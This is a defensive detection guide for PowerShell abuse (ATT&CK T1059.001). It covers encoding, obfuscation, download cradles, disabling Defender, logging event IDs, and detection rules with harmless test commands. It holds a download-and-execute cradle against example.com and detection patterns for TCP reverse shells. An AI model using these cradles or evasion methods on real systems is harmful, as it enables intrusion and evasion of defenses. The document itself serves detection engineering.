T1059.001 - PowerShell

PowerShell is a versatile and flexible automation and configuration management framework built on top of the .NET Common Language Runtime (CLR), which expands its capabilities far beyond other common command-line and scripting languages. Included by default in modern versions of Windows, it is widely used by system administrators to automate tasks, perform remote management, and configure enterprise environments at scale.

This ubiquity is precisely what makes PowerShell so attractive to adversaries. Its versatility minimizes the need to customize payloads or drop overtly malicious tools on a target system, as a native, trusted binary does the heavy lifting instead.

Malicious Objectives for PowerShell

Adversaries abuse PowerShell across every phase of an attack to achieve a wide range of objectives:

• Execute commands - Run arbitrary instructions on compromised systems using a powerful, fully-featured scripting environment.

• Evade detection - Operate within a trusted, signed Windows binary that blends into normal administrative activity.

• Obfuscate malicious activity - Encode, encrypt, or mangle commands to defeat signature-based detection and complicate analysis.

• Spawn additional processes - Launch child processes, interpreters, or payloads as part of a multi-stage attack chain.

• Download and execute remote code - Retrieve and run binaries or scripts directly from the internet without writing to disk.

• Gather information - Query the system, Active Directory, cloud environments, and running processes for reconnaissance.

• Change system configurations - Modify security settings, disable defenses, or alter persistence mechanisms.

Mechanisms of PowerShell

Encoded and Obfuscated Commands

One of the most frequently observed PowerShell abuse patterns is the use of encoded or obfuscated commands to evade detection. Adversaries commonly rely on Base64 encoding combined with the -EncodedCommand switch, or variations of it such as -e, -en, -enc, to pass commands that would otherwise be flagged by signature-based controls.

Beyond Base64, adversaries use more sophisticated obfuscation techniques including string concatenation, character substitution, escape character insertion, and ScriptBlock manipulation to produce commands that are syntactically valid but visually unrecognizable. Tools like Invoke-Obfuscation document many of these techniques in depth.

Ingress Tool Transfer

PowerShell is one of the most common tools used to download payloads from remote infrastructure. Adversaries frequently invoke .NET methods such as (New-Object Net.WebClient).DownloadString() or DownloadFile() alongside cmdlets like Invoke-Expression (iex) to pull remote code directly into memory and execute it, often without ever writing a file to disk. This enables fileless execution that sidesteps many traditional endpoint controls.

Offensive Toolkits and Frameworks

PowerShell serves as the runtime backbone for a wide range of offensive security tools and post-exploitation frameworks, including Mimikatz (via PowerSploit), Empire, PoShC2, and Cobalt Strike. These tools use PowerShell to load malicious .NET assemblies in memory, facilitate process injection, perform credential dumping, and carry out lateral movement, all within the context of a trusted system binary.

Cloud and Identity Attacks

Adversaries increasingly leverage PowerShell modules designed for Azure and Microsoft 365 environments to conduct attacks against identity, cloud, and SaaS infrastructure. Upon compromising an Entra ID identity, adversaries use modules such as:

• AzureAD / Microsoft.Graph - Query and modify Entra ID users, groups, and roles

• AADInternals - Abuse Entra ID and Azure AD internals for token theft and backdoor creation

• GraphRunner - Enumerate and abuse Microsoft Graph API permissions

• PowerZure - Enumerate and exploit Azure resources

• MicroBurst - Azure-focused security assessment and exploitation

• AzureHound - Graph-based attack path enumeration for Azure environments

For these cloud-focused attacks, detection should focus on Entra ID sign-in logs and audit logs rather than endpoint telemetry.

Disabling Security Controls

Adversaries also use PowerShell to weaken defenses before executing further payloads. Common patterns include using the Set-MpPreference cmdlet to disable Windows Defender, modifying exclusion policies, and disabling tamper protection, all achievable with a single line of PowerShell if tamper protection is not enforced.

ATT&CK Technique Co-occurrences

PowerShell frequently co-occurs with:

• Obfuscated Files or Information (T1027) - Encoded commands are the norm, not the exception

• Ingress Tool Transfer (T1105) - Downloading remote payloads via WebClient or Invoke-WebRequest

• Process Injection (T1055) - Loading and injecting .NET assemblies into running processes

• Windows Management Instrumentation (T1047) - Spawning PowerShell via WMI for lateral movement

Actions That Need to be Taken

The most effective protection against PowerShell tradecraft is implementing and enforcing a strong Windows App Control policy, which places PowerShell into Constrained Language Mode. This mitigates a wide array of PowerShell-based tradecraft by restricting access to .NET types, COM objects, and other powerful language features that adversaries depend on.

For organizations using Microsoft Defender products, enabling Tamper Protection is critical. With Tamper Protection enabled, the Set-MpPreference cmdlet cannot be used to disable Defender or create rule exceptions, blocking one of the most common PowerShell abuse patterns observed in the wild.

Visibility

Process Creation and Metadata

Process execution and parent-child relationships are among the most valuable telemetry sources for detecting malicious PowerShell activity. Monitoring process starts and stops alongside lineage gives defenders the context to distinguish legitimate administrative use from post-exploitation chains, particularly when combined with command-line parameters or network connection data.

Command Execution

Command-line parameters are an effective and widely available source of telemetry for detecting suspicious PowerShell behavior. They are especially powerful when used in conjunction with process lineage and network telemetry. Many of the highest-fidelity PowerShell detections are built on combinations of process starts, command-line content, and outbound connections observed together.

Network Communication and Connection Creation

Since adversaries routinely use PowerShell to download tools and establish reverse shells, network telemetry is an essential component of any PowerShell detection strategy. One of the most reliable detection patterns is monitoring for PowerShell invoking expressions that download content over HTTP, a signal that appears consistently across a broad range of threats.

Detection Technology

Windows Security Event ID 1101: Antimalware Scan Interface (AMSI)

AMSI provides telemetry on both on-disk and in-memory execution of PowerShell and other scripting languages including VBScript, JScript, and WMI. AMSI events are accessed through Event Tracing for Windows (ETW) rather than standard Windows event logging. Importantly, many PowerShell payloads include AMSI bypass attempts, and because AMSI logs the bypass attempt itself, robust detection of AMSI bypass activity should be a core part of any PowerShell detection strategy.

Windows Security Event ID 4104: Script Block Logging

Script block logging operates at two levels. Automatic logging (enabled by default) captures PowerShell script code containing suspicious terms, covering the majority of commonly abused cmdlets and .NET APIs. Global logging must be explicitly enabled and captures all PowerShell activity without restriction. Both write to Event ID 4104 in the Microsoft-Windows-PowerShell/Operational log. Note: script block logging is only available in PowerShell version 5 and above.

Windows Security Event ID 400: PowerShell Command-Line Logging

For environments where adversaries may downgrade to PowerShell version 2 to evade modern logging, Event ID 400 in the classic Windows PowerShell event log provides command-line logging for PowerShell host process starts, available since PowerShell version 2.

Windows Security Event IDs 800 and 4103: Module Loading and Add-Type Logging

Module logging (Event ID 800) logs all loaded PowerShell modules and must be explicitly enabled. It also captures source code supplied to the Add-Type cmdlet, which adversaries commonly use to compile and execute C# code at runtime. In PowerShell version 5 and above, Add-Type context is additionally captured in Event ID 4103 in the Microsoft-Windows-PowerShell/Operational log.

Sysmon Event ID 1 and 7: Process Creation and Image Loaded

Sysmon Event ID 1 captures PowerShell process creation events. Event ID 7 (Image Loaded) is particularly valuable as it records any process that loads System.Management.Automation.dll or System.Management.Automation.ni.dll, catching PowerShell execution even when it runs within other processes or through unusual host applications.

Endpoint Detection and Response (EDR) Tools

A comprehensive EDR product provides visibility into all the telemetry sources listed above, including process creation, command lines, network connections, module loads, and cross-process activity, in a single queryable data stream. EDR is the most practical and complete data source for detecting adversaries abusing PowerShell at scale.

Possible Use Cases

Detecting the -EncodedCommand Switch

PowerShell accepts shortened variations of -EncodedCommand, and anything from -e onward is valid. Monitoring for all variations prevents adversaries from evading detection by abbreviating the flag.

process == powershell.exe
&&
command_includes ('-e' || '-en' || '-enc' || '-enco' || [any variation of the encoded command switch])

Test command - encoded command printing to console:

cmd

powershell.exe -encod VwByAGkAdABlAC0ASABvAHMAdAAgACIAdAB3AGUAZQB0ACwAIAB0AHcAZQBlAHQAIQAiAA==

Detecting Base64 Encoding

Base64 encoding is not inherently malicious, but in the context of PowerShell execution it is a consistent indicator worth alerting on. Consider pairing this with a decoder like CyberChef in your investigation workflow to quickly surface the decoded content.

process == powershell.exe
&&
command_includes ('base64')

Test command - Base64-encoded execution:

powershell

Invoke-Expression -Command ([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VwByAGkAdABlAC0ASABvAHMAdAAgACIAdAB3AGUAZQB0ACwAIAB0AHcAZQBlAHQAIQAiAA==')))

Detecting Obfuscation and Escape Characters

Obfuscation techniques disrupt detection logic by inserting characters that PowerShell ignores but that break signature matches. Monitoring for unusually high densities of metacharacters in PowerShell command lines provides coverage across a wide range of obfuscation styles.

process == powershell.exe
&&
command_includes [high counts of] ('^' || '+' || '
    
  

 || '%')

Test command - obfuscated Write-Host using string formatting:

powershell

& ([ScriptBlock]::Create("Write-Host '$("{0}{1}{2}{2}{0}" -f 't','w','e'), $([Char] 116)$([Char] 119)$(""$([Char] 0x65)"" * 2)t'"))

Detecting Suspicious Cmdlets and Methods

Many attacks rely on a small set of highly abused PowerShell cmdlets and .NET methods. Monitoring for these provides broad coverage across phishing payloads, stagers, and post-exploitation tools.

process == powershell.exe
&&
command_includes ('-nop' || '-noni' || 'invoke-expression' || 'iex' || '.downloadstring' || 'downloadfile')

Test command - combining multiple suspicious cmdlets:

cmd

powershell.exe -nop iex "\"Write-Host `\"$((New-Object Net.WebClient).DownloadString('https://example.com/payload.txt'))`\"\""

Detecting Scripts Executed from Suspicious Directories

Adversaries may avoid command-line detection by writing scripts to world-writable directories and executing them by file path. Execution from locations like C:\Users\Public\ is unusual and worth alerting on.

process == powershell.exe
&&
command_includes ('c:\users\public\' && '.ps1')

Test command:

cmd

powershell.exe -nop C:\Users\Public\payload.ps1

Detecting PowerShell TCP Reverse Shell

Adversaries frequently use PowerShell's built-in .NET support to establish TCP reverse shells, giving them an interactive remote control channel over a compromised system.

process == powershell.exe
&&
command_includes ('tcpclient')
&&
command_includes ('diagnostics.process' || 'redirectstandardinput' || 'iex' || 'invoke-expression' || '.invoke')

Real-life Example

Several active and well-documented threat actors use PowerShell as a core part of their attack toolchain:

LummaC2 is an information stealer that uses PowerShell stagers to download and execute its payload in memory, frequently leveraging encoded commands and Invoke-Expression to avoid writing to disk.

Scarlet Goldfinch uses PowerShell as a loader component, executing encoded payloads that download and run secondary stages. It commonly arrives via phishing lures and relies heavily on obfuscated command-line patterns.

NetSupport Manager deployments often use PowerShell scripts, frequently delivered via phishing or drive-by downloads, to silently install the legitimate remote access tool for adversary-controlled remote access.

KongTuke is a loader that uses PowerShell to stage and execute subsequent payloads, often seen in malvertising campaigns where a fake browser update page delivers an obfuscated PowerShell command.

Amber Albatross relies on PowerShell for payload execution and lateral movement, using encoded commands and in-memory loading to avoid triggering file-based detection controls.

HijackLoader uses PowerShell as part of its multi-stage loading chain, often combining encoded commands with process injection to deliver its final payload without leaving obvious artifacts on disk.